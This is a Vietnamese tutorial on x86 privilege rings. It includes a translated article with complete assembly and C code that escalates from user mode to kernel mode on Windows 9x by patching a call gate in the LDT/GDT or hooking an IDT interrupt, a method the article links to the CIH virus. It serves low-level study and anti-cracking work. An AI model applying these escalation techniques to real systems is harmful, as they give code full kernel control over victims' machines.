Trao đổi với tôi

http://www.buidao.com

11/12/09

[System Info] Ring 0

RING0

Tranz by : Benina

1.Vào đề :

Lời vào đề này hòan tòan nằm trong trí tưởng tượng của tôi. Nó ko chính xác 100%. Mong các bạn góp ý thêm cho đúng Trust.

Trong quy luật tự nhiên hay trong một tổ chức hiện thực nào ngòai xã hội hầu như đều phải phân cấp, phân quyền. Nếu ko được phân quyền thì một đất nước sẽ thành “vô chính phủ”. Một gia đình ko phân quyền giữa vợ và chồng thì sẽ tan nát như tương. Ko thể có chuyện này xảy ra vì nó nằm ngòai quy luật tự nhiên. Hảy nhớ điều đó!.

Các nhà thiết kế máy tính, cũng như hệ điều hành đã dựa vào quy luật này để tổ chức thiết kế một hệ điều hành cho máy tính. Họ cũng định nghĩa các “lớp đặc quyền” cho các chương trình. Tức là một chương trình nằm ở lớp đặc quyền cao nhất sẽ có nhiều quyền năng hơn chương trình ở lớp đặc quyền thấp hơn. Nó sẽ điều khiển máy tính với nhiều chức năng hơn. Thậm chí can thiệp thô bạo vào sự riêng tư của những “anh chàng yếu thế tội nghiệp”. Do đó các nhà phát triển Windows cũng ko ngọai lệ, họ đã phân cấp các lớp đặc quyền cho các chương trình ,đó là lớp đặc quyền Ring0 và Ring3 (theo tài liệu dưới đây thì bộ xử lý có đến 4 rings, nhưng Windows thì chỉ dùng 2 rings là ring0 và ring3). Vậy Ring0 là lớp đặc quyền cao nhất.

Lấy hình tượng “cái nhẫn” (RING) để nói về đặc quyền thì rất giàu tưởng tượng phải ko các bạn. Như tôi đã nói về gia đình, khi đeo nhẫn rồi thì chắc chắn các bạn hảy chuẩn bị một cuộc chiến phân quyền đi là vừa. Cố chiến thắng các bà xã nhé!. Từ RING cũng còn ý nghĩa là “vành đai”. Thành Bắc Kinh bên TQ cũng cấu tạo bởi nhiều vành đai. Bạn muốn vào Tử cấm thành thì phải qua hai ba lớp vành đai thành mới vào được. Mỗi lớp đặc quyền cũng như là một vành đai vậy.

Các bạn hảy tưởng tượng một lớp vành đai mà CPU ở trung tâm, và xung quanh CPU là Ring0, Ring0 là Ring với lớp đặc quyền cao nhất. Các họat động thực hiện tại Ring0 là họat động trực tiếp với CPU. Đây là nơi mà Windows kernel cư trú và thường thì A/V (chương trình anti virus)của bạn sẽ chạy dưới quyền Ring0. Các chương trình điều khiển thiết bị (Device drivers)cũng chạy ở lớp đặc quyền này (Ring0). Và Ring0 cũng thường được gọi là “Kernel Mode”. Ring3 là nơi tất cả các ứng dụng Windows khác running. Ring3 cũng thường gọi là “User Mode”. Chương trình chạy ở Ring3 (như chương trình chúng ta hay viết) sẽ có ít đặc quyền hơn các chương trình chạy ở Ring0. Các ứng dụng Ring3 ko thể tác động qua lại với CPU một cách trực tiếp.Thay vào đó chúng phải “trình” yêu cầu của mình đến kernel chạy ở Ring0. Rồi Kernel yêu cầu họat động được thực hiện bởi CPU.

Để cụ thể vấn đề hơn, tôi xin đề cập về các thanh ghi debug. Như các bạn đã biết , các thanh ghi của bộ vi xử lý bao gồm eax,ebx,ecx,..vân vân. Nhưng còn một lọai thanh ghi nữa , đó là thanh ghi debug (debugg registers). Các thanh ghi này sử dụng cho việc debugging các chương trình. Để lập trình một chương trình debugger gở rối một chương trình nào đó (như Olly chẳng hạn), thì các thanh ghi này chắc chắn được sử dụng để tham chiếu đến trạng thái của chương trình đang bị gỡ rối. Để hiểu rõ hơn về các thanh ghi debug các bạn vào link sau để tham khảo:

http://pdos.csail.mit.edu/6.828/2005/readings/i386/s12_02.htm

Các thanh ghi này ko thể sử dụng bình thường như các thanh ghi thông dụng trong một chương trình chạy ở Ring3. Ví dụ chúng ta ko thể dùng chỉ thị : mov eax, dr7 (dr7 là thanh ghi debug). Vì ở Ring3 ko có đặc quyền này. Nhưng Ring0 thì hòan tòan OK.

Tóm lại tôi xin trích một câu của bạn light.phoenix trong REA để kết :

Windows chia ra 2 chế độ thực thi mã lệnh: user mode (ring-3) & kernel mode (ring-0). Chế độ ring-0 thường chạy các kernel module như driver, được quyền truy xuất nhiều tài nguyên hơn... Chế độ ring-3 dành cho các app thông thường, sử dụng tập hàm API của user32, kernel32...

Một số câu hỏi sẽ nảy sinh trong đầu chúng ta : Lập trình một chương trình chạy ở Ring0 như thế nào?. Có thể làm được điều đó ko? Có phải virus là một chương trình chạy ở Ring0 ko? Có phải vì bảo mật nên chương trình của ta chỉ có quyền Ring3 ?. Viết một chương trình từ Ring3 nhảy vào trong quyền Ring0 được ko?..vân...vân.

Để có khái niệm hơn về Ring0, và giải đáp phần nào các câu hỏi trên, chúng ta sẽ tham khảo 2 bài dịch dưới đây mà tôi tìm được trên Net. Các đọan code ASM được viết cho TASM.

Now, readingggggggg

2.Swich from Ring0 to Ring3 :

Bài đầu tiên có link Origin là : http://madchat.org/coding/win32/Ring0.txt

Ring0

--------------

Processor (vi xử lý) có 4 lớp đặc quyền : Ring0, Ring1, Ring2, Ring3

Thông thường các chương trình chạy trong Ring3. Ring3 có nhiều hạn chế ,ví dụ như: chúng ta ko thể đọc debugg registers (các thanh ghi debug) và ko thể dùng các chỉ thị lệnh với debug Register (thanh ghi debug) (ví dụ: mov eax, dr7).

Đối với chúng ta , rất tốt khi có nhiều đặc quyền và vì vậy chúng ta cần Ring0. Nhưng lại có vấn đề, chỉ một vài chương trình đặc biệt có đặc quyền Ring0 privileges. Device

drivers (Trình điều khiển thiết bị)chạy trong Ring0, nhưng code một device driver lại ko đơn giản.

May thay Windows có nhiều lỗ hổng bảo mật, đặc biệt là Win9x. Có một vài cách để chương trình nhảy từ Ring3 đến Ring0. Các pp này được rất nhiều virus sử dụng nhưng chúng ta sử dụng nó cho các mục đích tốt .

Các pp này chỉ làm việc trên Win9x. Chúng cũng từng làm việc trên WinNT, nhưng các lỗ hổng bảo mật đã bị bít lại, bởi vì chúng được các hackers sử dụng để tấn công máy tính của nạn nhân. Chúng ta có thể kiểm tra version của Windows và nếu nó là Win9x chúng ta sẽ sử dụng pp này. Nếu bạn cần dùng Ring0 trên WinNT hay Win2k, bạn phải code device driver cho hệ điều hành tương ứng. Nhưng bạn phải có quyền admin cho việc cài đặc chương trình của bạn.

Cũng có cách để nhảy từ Ring3 đến Ring0 . Nhưng nó chỉ làm việc với quyền admin trên máy tính. Điều này có lẽ tốt cho người sử dụng máy tính thông thường, bởi vì viruses khó có điều kiện điều khiển máy tính, nhưng đối với chúng ta nó ko tốt chút nào !. Nhưng chúng ta ko thể thay đổi được Windows, chúng ta buộc phải “thích hợp” với điều này và luôn luôn tìm các cách mới thử nhảy đến Ring0.

Switch to Ring0 by LDT (Locale Descriptor Table):

-------------------------------------------------

Phương pháp này quá cũ kỹ nên ít dùng . Đây ko phải là cách tốt nhất , nhưng nó tốt hơn là phương pháp IDT method, bởi vì ko có nhiều người biết nó .

Example:

===============================================================

.386p

.MODEL FLAT,STDCALL

locals

jumps

UNICODE=0

include w32.inc

Extrn SetUnhandledExceptionFilter : PROC

.data

msg1 db "Switch to Ring0 by LDT",0

msg2 db "Ring0 activated",0

gdt_ df 0

call_ dd 00

dw 0Fh

o_gate dw 0

dw 028h ;segment for RING0

dw 0EC00h

dw 0

.code

Start:

mov eax, offset ring0

;our Ring0 routine

mov [o_gate],ax ;set address of our new Ring0 service to our "callgate"

shr eax,16

mov [o_gate+6],ax

xor eax, eax

sgdt fword ptr gdt_

;save GDT

mov ebx,dword ptr [gdt_+2]

;GDT base address

sldt ax

add ebx,eax ;discriptor address

mov al,[ebx+4]

mov ah,[ebx+7]

shl eax,16 ;LDT address

mov ax,[ebx+2] ;callgate's discriptor address

add eax,8

mov edi,eax ;set in callgate for changes

mov esi,offset o_gate

;our "callgate" address

movsd ;move it to real callgate

movsd ;for jump to Ring0

call fword ptr [call_]

;jump to Ring0 to our Ring0 service

xor eax, eax

sub edi,8 ;delete our changes in callgate

stosd

stosd

call MessageBoxA,0, offset msg2, offset msg1,0

call ExitProcess, -1

;----------------------------------------------------------

;Our new Ring0 service

;----------------------------------------------------------

ring0:

mov eax, dr7 ;test for Ring0

retf ;back to RING3

ends

end Start

===============================================================

Tôi đã tìm trên Internet một ví dụ kế sau đây của SoPinKy , mà nó là những gì giống như trên nhưng được code trong ngôn ngữ C language.

Example:

===============================================================

Main.CPP

------------------------------------CUT--------------------------------------

#include

#include "DirectHackers.h"

//it is a example of a proc in Ring 0

Ring0Proc()

{

InitRing0();

__asm

{

int 20h //get current vm

_emit 0x01 //Function ID

_emit 0x00

_emit VMM_ID //VXD ID

_emit 0x00

//in ebx i have the handle

//of virtual machine

}

RetCallback;

};

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,

PSTR lpCmdLine,int nCmdShow)

{

MSG msg ;

DWORD a;

int x;

__asm pusha

InitDirectH();

CallRing0((unsigned int)Ring0Proc);

__asm popa

return 0;

}

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

DirectHackers.h

------------------------------------CUT--------------------------------------

#ifndef __DirectHackers_h

#define __DirectHackers_h

#include "VMMStruct.h"

//Data

DWORD VM=0,TR=0;

Control_Block *VMCBSystem=0,*VMCB=0;

DWORD esp3;

WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register

WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register

Comp *Callb,Callbcpy; //a callbacks

//to return of ring 0

#define RetCallback \

_asm sti \

_asm pop edi \

_asm pop esi \

_asm pop ebx \

_asm leave \

_asm retf;

InitDirectH()

{

FPWORD gdt; //Base of GDT

Descriptor *gdtdesc;

word a;

__asm sgdt gdt; //get the addres of GDT

gdtdesc=(Descriptor *)gdt.base;

__asm //Save the ring 3 Segments selectors

{

mov cs3,cs

mov ds3,ds

mov es3,es

mov sp3,sp

mov fs3,fs

mov gs3,gs

mov esp3,esp

}

//Serch for the adecuate CS

for(a=0;a<(gdt.limite>>3);a++)

{

gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));

if(gdtdesc->limit_l==0xffff &&

gdtdesc->base_l==0x0000 &&

gdtdesc->base_m==0x00 &&

gdtdesc->access==0x9b &&

gdtdesc->limit_h== 0xcf &&

gdtdesc->base_h==0x00)break;

}

cs0=a<<3;

//Serch for the adecuate DS, ES, Etc

for(a=0;a<(gdt.limite>>3);a++)

{

gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));

if(gdtdesc->limit_l==0xffff &&

gdtdesc->base_l==0x0000 &&

gdtdesc->base_m==0x00 &&

gdtdesc->access==0x93 &&

gdtdesc->limit_h== 0xcf &&

gdtdesc->base_h==0x00)break;

}

ds0=a<<3;

es0=a<<3;

fs0=a<<3;

gs0=a<<3;

}

//Call a proc and switch to ring 0

CallRing0(DWORD PUNTERO)

{

FPWORD gdt;

Descriptor *gdtdesc;

Comp *Callb,Callbcpy;

FARJMP salto;

WORD h,l;

salto.offset32=0;

salto.seg=0x08;

__asm sgdt gdt;

gdtdesc=(Descriptor *)(gdt.base+8);

Callb=(Comp *)(gdt.base+8);

Callbcpy.sel=Callb->sel; //make a copy

Callbcpy.attrib=Callb->attrib;

Callbcpy.offs_l=Callb->offs_l;

Callbcpy.offs_h=Callb->offs_h;

Callb->sel=cs0;

Callb->attrib=0xec00;;

__asm

{

mov eax,PUNTERO

mov l,ax

shr eax,16

mov h,ax

}

Callb->offs_l=l;

Callb->offs_h=h;

__asm {

push ds

push es

push gs

push fs

} //save the ring 3 segment selectors

__asm //Call the CALL GATE!!!!

{

cli

call FWORD PTR salto

}

//restore de segment selectors in ring 3

__asm

{

cli

pop fs

pop gs

pop es

pop ds

sti

}

return;

}

InitRing0()

{

FPWORD gdt;

Comp *Callb;

__asm sgdt gdt;

__asm cli

Callb=(Comp *)(gdt.base+8);

Callb->sel=Callbcpy.sel;

Callb->attrib=Callbcpy.attrib;

Callb->offs_l=Callbcpy.offs_l;

Callb->offs_h=Callbcpy.offs_h;

__asm

{

mov ds,ds0

mov es,es0

mov fs,fs0

mov gs,gs0

sti

//int 3h

int 20h

_emit 0x08 //get the thead handle

_emit 0x01

_emit VMM_ID

_emit 0x00

mov TR,edi

int 20h

_emit 0x01 //get current vm

_emit 0x00

_emit VMM_ID

_emit 0x00

mov VM,ebx //current VM handle, osea de sistema

sti

}

}

#endif

------------------------------------CUT--------------------------------------

VMMStruct.h

------------------------------------CUT--------------------------------------

#ifndef __vmmstruct_h

#define __vmmstruct_h

//definitions

#define Get_Cur_VM_Handle 0x01

#define Get_VMM_Version 0x00

#define VMM_ID 0x01

#define VDD_ID 0x0a

#define VFD_ID 0x0011f;

#define VWIN32_ID 0x0002A

#define SHELL_ID 0x00017

#define word unsigned short

#define dword unsigned int

#define DWORD unsigned int

#define WORD unsigned short

#define byte unsigned char

#define BYTE unsigned char

//Structs

#pragma pack(1)

typedef struct

{

word limite;

dword base;

}FPWORD;

typedef struct

{

dword offset32;

word seg;

}FARJMP;

//struct of descriptors

typedef struct

{

WORD limit_l;

WORD base_l;

BYTE base_m;

BYTE access;

BYTE limit_h;

BYTE base_h;

}Descriptor;

typedef struct

{

WORD desp_l;

WORD sel;

BYTE tipo_l;

BYTE tipo_h;

BYTE desp_h;

}Idt_Descriptor;

//compuertas del 386

typedef struct

{

WORD offs_l;

WORD sel;

WORD attrib;

WORD offs_h;

}Comp;

//Description Block

typedef struct {

ULONG DDB_Next; /* VMM RESERVED FIELD */

USHORT DDB_SDK_Version; /* INIT RESERVED FIELD */

USHORT DDB_Req_Device_Number; /* INIT */

UCHAR DDB_Dev_Major_Version; /* INIT <0> Major device number */

UCHAR DDB_Dev_Minor_Version; /* INIT <0> Minor device number */

USHORT DDB_Flags; /* INIT <0> for init calls complete */

UCHAR DDB_Name[8]; /* AINIT <" "> Device name */

ULONG DDB_Init_Order; /* INIT */

ULONG DDB_Control_Proc; /* Offset of control procedure */

ULONG DDB_V86_API_Proc; /* INIT <0> Offset of API procedure */

ULONG DDB_PM_API_Proc; /* INIT <0> Offset of API procedure */

ULONG DDB_V86_API_CSIP; /* INIT <0> CS:IP of API entry point */

ULONG DDB_PM_API_CSIP; /* INIT <0> CS:IP of API entry point */

ULONG DDB_Reference_Data; /* Reference data from real mode */

ULONG DDB_Service_Table_Ptr; /* INIT <0> Pointer to service table */

ULONG DDB_Service_Table_Size; /* INIT <0> Number of services */

ULONG DDB_Win32_Service_Table; /* INIT <0> Pointer to Win32 services */

ULONG DDB_Prev; /* INIT <'Prev'> Ptr to prev 4.0 DDB */

ULONG DDB_Size; /* INIT Reserved */

ULONG DDB_Reserved1; /* INIT <'Rsv1'> Reserved */

ULONG DDB_Reserved2; /* INIT <'Rsv2'> Reserved */

ULONG DDB_Reserved3; /* INIT <'Rsv3'> Reserved */

}Desc_Block;

//Control block

typedef struct {

ULONG Client_EDI; /* Client's EDI */

ULONG Client_ESI; /* Client's ESI */

ULONG Client_EBP; /* Client's EBP */

ULONG Client_res0; /* ESP at pushall */

ULONG Client_EBX; /* Client's EBX */

ULONG Client_EDX; /* Client's EDX */

ULONG Client_ECX; /* Client's ECX */

ULONG Client_EAX; /* Client's EAX */

ULONG Client_Error; /* Dword error code */

ULONG Client_EIP; /* EIP */

USHORT Client_CS; /* CS */

USHORT Client_res1; /* (padding) */

ULONG Client_EFlags; /* EFLAGS */

ULONG Client_ESP; /* ESP */

USHORT Client_SS; /* SS */

USHORT Client_res2; /* (padding) */

USHORT Client_ES; /* ES */

USHORT Client_res3; /* (padding) */

USHORT Client_DS; /* DS */

USHORT Client_res4; /* (padding) */

USHORT Client_FS; /* FS */

USHORT Client_res5; /* (padding) */

USHORT Client_GS; /* GS */

USHORT Client_res6; /* (padding) */

ULONG Client_Alt_EIP;

USHORT Client_Alt_CS;

USHORT Client_res7;

ULONG Client_Alt_EFlags;

ULONG Client_Alt_ESP;

USHORT Client_Alt_SS;

USHORT Client_res8;

USHORT Client_Alt_ES;

USHORT Client_res9;

USHORT Client_Alt_DS;

USHORT Client_res10;

USHORT Client_Alt_FS;

USHORT Client_res11;

USHORT Client_Alt_GS;

USHORT Client_res12;

}Client_Reg_Struc;

typedef struct Thread_Control_Block {

ULONG TCB_Flags; /* Thread status flags */

ULONG TCB_Reserved1; /* Used internally by VMM */

ULONG TCB_Reserved2; /* Used internally by VMM */

ULONG TCB_Signature;

ULONG TCB_ClientPtr; /* Client registers of thread */

ULONG TCB_VMHandle; /* VM that thread is part of */

USHORT TCB_ThreadId; /* Unique Thread ID */

USHORT TCB_PMLockOrigSS; /* Original SS:ESP before lock stack */

ULONG TCB_PMLockOrigESP;

ULONG TCB_PMLockOrigEIP; /* Original CS:EIP before lock stack */

ULONG TCB_PMLockStackCount;

USHORT TCB_PMLockOrigCS;

USHORT TCB_PMPSPSelector;

ULONG TCB_ThreadType; /* dword passed to VMMCreateThread */

USHORT TCB_pad1; /* reusable; for dword align */

UCHAR TCB_pad2; /* reusable; for dword align */

UCHAR TCB_extErrLocus; /* extended error Locus */

USHORT TCB_extErr; /* extended error Code */

UCHAR TCB_extErrAction; /* " " Action */

UCHAR TCB_extErrClass; /* " " Class */

ULONG TCB_extErrPtr; /* " pointer */

}Thread_Control_Block;

typedef struct

{

DWORD CB_VM_Status ;

DWORD CB_High_Linear ;

DWORD CB_Client_Pointer ;

DWORD CB_VMID ;

DWORD CB_Signature ;

}Control_Block;

#endif

------------------------------------CUT--------------------------------------

===============================================================

Tôi nghĩ ví dụ Assembler dễ đọc hơn ví dụ trong ngôn ngữ C.

Switch to Ring0 by IDT (Interupt Descriptor Table) aka EliCZ's method:

-------------------------------------------------

Phương pháp kế tiếp tốt hơn pp trên. Tôi thấy nó lần đầu tiên khi nó được sử dụng bới bạn tôi là EliCZ. Sau đó vài ngày thì xuất hiện CIH virus mà nó đã dùng pp này .

Phần lớn các chương trình nhảy đến Ring0, đã sử dụng pp này.

Vài tools của các cracker về anti-anti-debugg có thể dò tìm ra nó (Frog-Ice, IceDump).

Example:

===============================================================

.386p

.MODEL FLAT,STDCALL

locals

jumps

UNICODE=0

include w32.inc

Extrn SetUnhandledExceptionFilter : PROC

Interrupt equ 5 ;interrupt number which we will use

;if you use Int 1h or 3h, it will be

;more harder debugg your program

.DATA

msg1 db "Switch to Ring0 by IDT",0

msg2 db "Ring0 activated",0

.CODE

Start:

push edx

sidt [esp-2] ;read IDT to stack

pop edx ;address of Interrupt table

add edx,(Interrupt*8)+4

;Interrupt table base+Int number+size for

;Int in Interrupt table=Int vector address

mov ebx,[edx]

mov bx,word ptr [edx-4]

;read old address our interrupt (INT 5h)

lea edi,InterruptHandler

mov [edx-4],di

ror edi,16 ;set our new interrupt handler

mov [edx+2],di

push ds ;save registers

push es

int Interrupt ;jump to Ring0 (our int 5h handler)

pop es ;restore registers

pop ds

mov [edx-4],bx ;set old int 5h handler

ror ebx,16

mov [edx+2],bx

call MessageBoxA,0, offset msg2, offset msg1,0

call ExitProcess, -1

;-----------------------------------------------------------------------------

;OUR NEW INT 5h HANDLER (it run in Ring0)

;-----------------------------------------------------------------------------

InterruptHandler:

mov eax,dr7 ;test for Ring0

iretd ;jump back to Ring3

ends

end Start

===============================================================

Có vài pp khác. Nhưng chúng chưa được sử dụng trong bất kỳ chương trình nào. Tôi viết về chúng trong “secret area”. Có 2 pp khác cho Win9x (two very good methods) và một cho WinNT và Win2k.

Pavol Cerven

www.anticracking.sk

The End

3. Supervisor mode

Bài này các bạn tham khảo thêm, tôi tranz từ link :

http://en.wikipedia.org/wiki/Supervisor_mode

Trạng thái giám sát:

Trong sự giới hạn của máy tính , supervisor mode (trạng thái giám sát) là một “cờ trung gian cho phần cứng” (hardware-mediated flag) mà nó có thể thay đổi bởi code đang chạy trong phần mềm lớp hệ thống (system-level software). Các chức năng lớp hệ thống hay các threads sẽ có cờ này được set khi chúng đang chạy , nhưng ngược lại user-space applications (các ứng dụng cho vùng user) thì ko. Cờ này xác định nó có khả năng hay ko để thực thi các họat động được code cho máy tính như thay đổi các thanh ghi cho descriptor tables khác nhau (các bảng miêu tả), hay thực hiện các họat động như làm mất hiệu lực các ngắt interrupts. Ý nghĩa của sự tồn tại 2 modes khác nhau để họat động là “ với nhiều điều khiển thì nhiều trách nhiệm hơn”- một chương trình trong supervisor mode thì “được tin tưởng” (được hệ điều hành tín nhiệm) là ko bao giờ bị lỗi, bởi vì nếu nó bị lỗi, thì hệ thống máy tính có thể crash (tan vỡ).

Trong một khối kernel (khối code là nhân hệ điều hành), kernel chạy trong supervisor mode và các ứng dụng chạy trong user mode. Các lọai khác của hệ điều hành , giống như chúng như một exokernel hay một microkernel ko nhất thiết chia sẽ các hành vi này.

Vài ví dụ từ PC world:

Linux và Windows là hai hệ điều hành dùng supervisor/user-mode.

DOS và các hệ điều hành đơn giản khác run trong supervisor mode một cách thường trực, nghĩa là các drivers có thể được viết một cách trực tiếp vào trong software. Trong user-mode chương trình cần thiết dùng một system call trong kernel-space (đang chạy trong supervisor mode) mà ở đó (vùng kernel) được tin tưởng rằng (hệ điều hành tin tưởng) code đó sẽ thực hiện những tác vụ cần thiết . (để hiểu rõ hơn về sự tín nhiệm của hệ điều hành, chúng ta nên tìm đọc tut “Weakness Of The Windows Api Part1 By Gabri3l” của nhóm ARTeam)

Phần lớn các processors có ít nhất 2 modes khác nhau. x86-processors có 4 modes được chia thành 4 "rings" khác nhau. Các chương trình- mà nó run trong ring0 có thể làm bất cứ gì với system và code chạy trong ring3 - có thể bị lỗi bất cứ khi nào mà ko có bất kỳ va chạm nào đến rest của computer system. Ring1 và ring2 chưa bao giờ được dùng , nhưng có thể được định hình với các lớp truy xuất khác.

http://benina.250free.com

Benina 20/01/2006

Update 20/01/2006

Mail: benina@walla.com

(Không đồng ý bất kỳ ai sử dụng tài liệu này cho mục đích thương mại nếu ko được phép của người dịch)